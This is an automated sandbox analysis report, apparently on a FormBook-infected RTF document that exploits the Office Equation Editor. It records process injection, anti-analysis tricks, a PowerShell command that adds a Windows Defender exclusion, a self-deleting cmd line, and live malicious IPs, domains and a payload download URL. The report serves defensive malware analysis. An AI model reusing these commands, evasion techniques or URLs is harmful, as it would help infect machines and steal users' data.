Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 7FB0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 88B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: 98B0000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DB0101 rdtsc 7_2_00DB0101
Contains long sleeps (>= 3 min)
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2016 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5599 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Window / User API: threadDelayed 9777 Jump to behavior
Found decision node followed by non-executed suspicious APIs
Source: C:\Windows\explorer.exe Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)
Found large amount of non-executed APIs
Source: C:\Windows\SysWOW64\mstsc.exe API coverage: 1.2 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 3600 Thread sleep time: -60000s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe TID: 3756 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3936 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3940 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3872 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\explorer.exe TID: 1340 Thread sleep time: -120000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4020 Thread sleep count: 191 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4020 Thread sleep time: -382000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4020 Thread sleep count: 9777 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 4020 Thread sleep time: -19554000s >= -30000s Jump to behavior
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE TID: 4068 Thread sleep time: -60000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\explorer.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_009420E2 PathFindFileNameW,PathAppendW,PathAppendW,GetFileAttributesW,PathAppendW,FindFirstFileW,PathAppendW,FindNextFileW,PathAppendW,FindNextFileW,FindClose, 10_2_009420E2
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \\?\IDE#CdRomNECVMWar_VMware_SATA_CD01_______________1.00____#6&373888b8&0&1.0.0#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}7
Source: explorer.exe, 00000009.00000002.929382715.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: explorer.exe, 00000009.00000002.929382715.0000000003DB1000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0
Source: explorer.exe, 00000009.00000002.929382715.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}eeab7790
Source: explorer.exe, 00000009.00000000.421597302.00000000025E0000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: IDE\CDROMNECVMWAR_VMWARE_SATA_CD01_______________1.00____\6&373888B8&0&1.0.0a
Source: explorer.exe, 00000009.00000002.929382715.0000000003E59000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\ide#cdromnecvmwar_vmware_sata_cd01_______________1.00____#6&373888b8&0&1.0.0#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}100\4&20
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00DB0101 rdtsc 7_2_00DB0101
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D600C4 NtCreateFile,LdrInitializeThunk, 7_2_00D600C4
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00943AE1 LoadLibraryW,GetProcAddress,FreeLibrary, 10_2_00943AE1
Contains functionality to read the PEB
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D500EA mov eax, dword ptr fs:[00000030h] 7_2_00D500EA
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D50080 mov ecx, dword ptr fs:[00000030h] 7_2_00D50080
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Code function: 7_2_00D726F8 mov eax, dword ptr fs:[00000030h] 7_2_00D726F8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_02290080 mov ecx, dword ptr fs:[00000030h] 10_2_02290080
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022900EA mov eax, dword ptr fs:[00000030h] 10_2_022900EA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_022B26F8 mov eax, dword ptr fs:[00000030h] 10_2_022B26F8
Enables debug privileges
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process token adjusted: Debug Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00968791 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess, 10_2_00968791
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory allocated: page read and write | page guard Jump to behavior

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.launchyouglobal.com
Source: C:\Windows\explorer.exe Domain query: www.ko-or-a-news.com
Source: C:\Windows\explorer.exe Network Connect: 68.66.226.117 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.affirmationtotebags.com
Source: C:\Windows\explorer.exe Domain query: www.education2jobs.com
Source: C:\Windows\explorer.exe Domain query: www.thecareskin.com
Source: C:\Windows\explorer.exe Domain query: www.opmk.monster
Source: C:\Windows\explorer.exe Network Connect: 13.248.213.45 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.mbbwa4wp.cfd
Source: C:\Windows\explorer.exe Domain query: www.fcno30.com
Source: C:\Windows\explorer.exe Domain query: www.lifeofthobes.uk
Adds a directory exclusion to Windows Defender
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ihbgfbin.exe"
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Found direct / indirect Syscall (likely to bypass EDR)
Source: C:\Windows\SysWOW64\mstsc.exe NtClose: Indirect: 0x2049DC5
Source: C:\Windows\SysWOW64\mstsc.exe NtUnmapViewOfSection: Indirect: 0x2049DB9 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe NtMapViewOfSection: Indirect: 0x2049D47 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe NtQueueApcThread: Indirect: 0x204A531 Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe NtClose: Indirect: 0x19A56C
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe NtQueueApcThread: Indirect: 0x19A4F2 Jump to behavior
Injects a PE file into a foreign processes
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Memory written: C:\Users\user\AppData\Roaming\ihbgfbin.exe base: 400000 value starts with: 4D5A Jump to behavior
Maps a DLL or memory area into another process
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section loaded: NULL target: C:\Windows\SysWOW64\mstsc.exe protection: execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: read write Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Section loaded: NULL target: C:\Windows\explorer.exe protection: execute and read and write Jump to behavior
Modifies the context of a thread in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Thread register set: target process: 1244 Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Thread register set: target process: 1244 Jump to behavior
Queues an APC in another process (thread injection)
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Thread APC queued: target process: C:\Windows\explorer.exe Jump to behavior
Sample uses process hollowing technique
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Section unmapped: C:\Windows\SysWOW64\mstsc.exe base address: 900000 Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Process created: C:\Users\user\AppData\Roaming\ihbgfbin.exe "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Process created: C:\Windows\SysWOW64\cmd.exe /c del "C:\Users\user\AppData\Roaming\ihbgfbin.exe" Jump to behavior
Source: explorer.exe, 00000009.00000000.420803319.00000000001D6000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000009.00000002.928404044.00000000001D6000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Progman-
Source: explorer.exe, 00000009.00000000.420880686.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.928557977.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager
Source: explorer.exe, 00000009.00000000.420880686.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.928557977.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000009.00000000.420880686.0000000000720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000009.00000002.928557977.0000000000720000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: !Progman
Contains functionality to query locales information (e.g. system language)
Source: C:\Windows\SysWOW64\mstsc.exe Code function: GetLocaleInfoW,wcsncmp, 10_2_0096770C
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\AppData\Roaming\ihbgfbin.exe Queries volume information: C:\Users\user\AppData\Roaming\ihbgfbin.exe VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.BackgroundIntelligentTransfer.Management\1.0.0.0__31bf3856ad364e35\Microsoft.BackgroundIntelligentTransfer.Management.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_MSIL\Microsoft.Windows.Diagnosis.TroubleshootingPack\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.TroubleshootingPack.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\assembly\GAC_32\Microsoft.Windows.Diagnosis.SDEngine\6.1.0.0__31bf3856ad364e35\Microsoft.Windows.Diagnosis.SDEngine.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Program Files (x86)\AutoIt3\AutoItX\AutoItX3.PowerShell.dll VolumeInformation Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00964143 GetSystemTime,SystemTimeToFileTime,GetLastError, 10_2_00964143
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0095B0AA GetUserNameExW,GetLastError,wcschr,GetComputerNameW,GetLastError,GetLastError,GetLastError,_wcsnicmp, 10_2_0095B0AA
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0092395D GetVersionExW,CoInitialize,CoCreateInstance,SysFreeString,CoUninitialize, 10_2_0092395D
Source: C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior

Stealing of Sensitive Information
barindex
Yara detected FormBook
Source: Yara match File source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected FormBook
Source: Yara match File source: 0000000A.00000002.928364995.0000000000080000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928452620.0000000000410000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.429526201.0000000000140000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.928419013.0000000000390000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.422078924.0000000003D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Contains functionality to open a port and listen for incoming connection (possibly a backdoor)
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0095CA2C LocalAlloc,CreateWellKnownSid,GetLastError,RpcBindingSetAuthInfoExW,LocalFree,RpcBindingFree, 10_2_0095CA2C
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0095C3D8 memset,GetCurrentProcessId,ProcessIdToSessionId,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,GetLastError,RpcBindingFree, 10_2_0095C3D8
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_00960486 RpcStringBindingComposeW,RpcBindingFromStringBindingW,RpcStringFreeW, 10_2_00960486
Source: C:\Windows\SysWOW64\mstsc.exe Code function: 10_2_0096061E RpcBindingSetAuthInfoExW,LocalFree,RpcBindingSetAuthInfoExW,RpcBindingFree, 10_2_0096061E
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1545184 Sample: na.doc Startdate: 30/10/2024 Architecture: WINDOWS Score: 100 45 www.trygenesisx.com 2->45 67 Initial sample is an obfuscated RTF file 2->67 69 Suricata IDS alerts for network traffic 2->69 71 Found malware configuration 2->71 73 17 other signatures 2->73 12 WINWORD.EXE 291 18 2->12         started        signatures3 process4 file5 43 C:\Users\user\Desktop\~$na.doc, data 12->43 dropped 15 EQNEDT32.EXE 11 12->15         started        20 EQNEDT32.EXE 12->20         started        process6 dnsIp7 53 87.120.84.38, 49163, 80 SHARCOM-ASBG Bulgaria 15->53 39 C:\Users\user\AppData\Roaming\ihbgfbin.exe, PE32 15->39 dropped 41 C:\Users\user\...\4q0pGnqqpgTTSL7[1].exe, PE32 15->41 dropped 55 Office equation editor establishes network connection 15->55 57 Office equation editor starts processes (likely CVE 2017-11882 or CVE-2018-0802) 15->57 22 ihbgfbin.exe 3 15->22         started        file8 signatures9 process10 signatures11 75 Machine Learning detection for dropped file 22->75 77 Adds a directory exclusion to Windows Defender 22->77 79 Tries to detect virtualization through RDTSC time measurements 22->79 81 2 other signatures 22->81 25 ihbgfbin.exe 22->25         started        28 powershell.exe 4 22->28         started        process12 signatures13 83 Modifies the context of a thread in another process (thread injection) 25->83 85 Maps a DLL or memory area into another process 25->85 87 Sample uses process hollowing technique 25->87 91 2 other signatures 25->91 30 explorer.exe 1 3 25->30 injected 89 Installs new ROOT certificates 28->89 process14 dnsIp15 47 www.thecareskin.com 30->47 49 www.opmk.monster 30->49 51 9 other IPs or domains 30->51 93 System process connects to network (likely due to code injection or exploit) 30->93 34 mstsc.exe 30->34         started        signatures16 process17 signatures18 59 Modifies the context of a thread in another process (thread injection) 34->59 61 Maps a DLL or memory area into another process 34->61 63 Tries to detect virtualization through RDTSC time measurements 34->63 65 2 other signatures 34->65 37 cmd.exe 34->37         started        process19
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
13.248.213.45
 thecareskin.com United States
16509 AMAZON-02US true
87.120.84.38
 unknown Bulgaria
51189 SHARCOM-ASBG true
68.66.226.117
 fcno30.com United States
55293 A2HOSTINGUS true

Contacted Domains

Name IP Active
thecareskin.com 13.248.213.45 true
fcno30.com 68.66.226.117 true
www.education2jobs.com unknown unknown
www.launchyouglobal.com unknown unknown
www.thecareskin.com unknown unknown
www.opmk.monster unknown unknown
www.trygenesisx.com unknown unknown
www.mbbwa4wp.cfd unknown unknown
www.fcno30.com unknown unknown
www.lifeofthobes.uk unknown unknown
www.ko-or-a-news.com unknown unknown
www.affirmationtotebags.com unknown unknown

Contacted URLs

Name Malicious Antivirus Detection Reputation
http://87.120.84.38/txt/4q0pGnqqpgTTSL7.exe true
    		unknown
    www.lifeofthobes.uk/btrd/ true
      		unknown